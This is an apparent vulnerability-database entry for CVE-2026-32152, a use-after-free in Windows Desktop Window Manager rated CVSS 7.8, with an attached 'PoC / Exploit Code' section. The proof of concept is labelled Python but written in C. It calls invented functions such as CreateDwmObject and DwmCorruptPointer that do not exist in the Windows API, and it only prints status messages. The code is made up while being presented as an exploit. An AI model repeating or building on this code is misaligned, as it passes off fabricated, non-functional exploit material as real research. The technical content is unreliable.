Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Windows（具体受影响版本请参考Microsoft安全公告）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <dwmapi.h>
// PoC Concept for CVE-2026-32152
// Note: This is a conceptual structure to demonstrate the UAF trigger logic.
// Actual exploitation requires specific memory layout manipulation.
void trigger_exploit() {
// 1. Obtain a handle to the DWM object
HANDLE hDwm = CreateDwmObject();
// 2. Setup malicious data for reallocation (Heap Spray)
printf("[*] Preparing memory layout...");
// 3. Trigger the free operation in DWM
printf("[*] Triggering Use-After-Free...");
DwmFreeObject(hDwm);
// 4. Attempt to reuse the freed pointer
// If the timing is right, this pointer now points to attacker-controlled data
printf("[*] Attempting to corrupt memory via dangling pointer...");
DwmCorruptPointer(hDwm);
printf("[+] Exploit trigger attempt finished.");
}
int main() {
trigger_exploit();
return 0;
}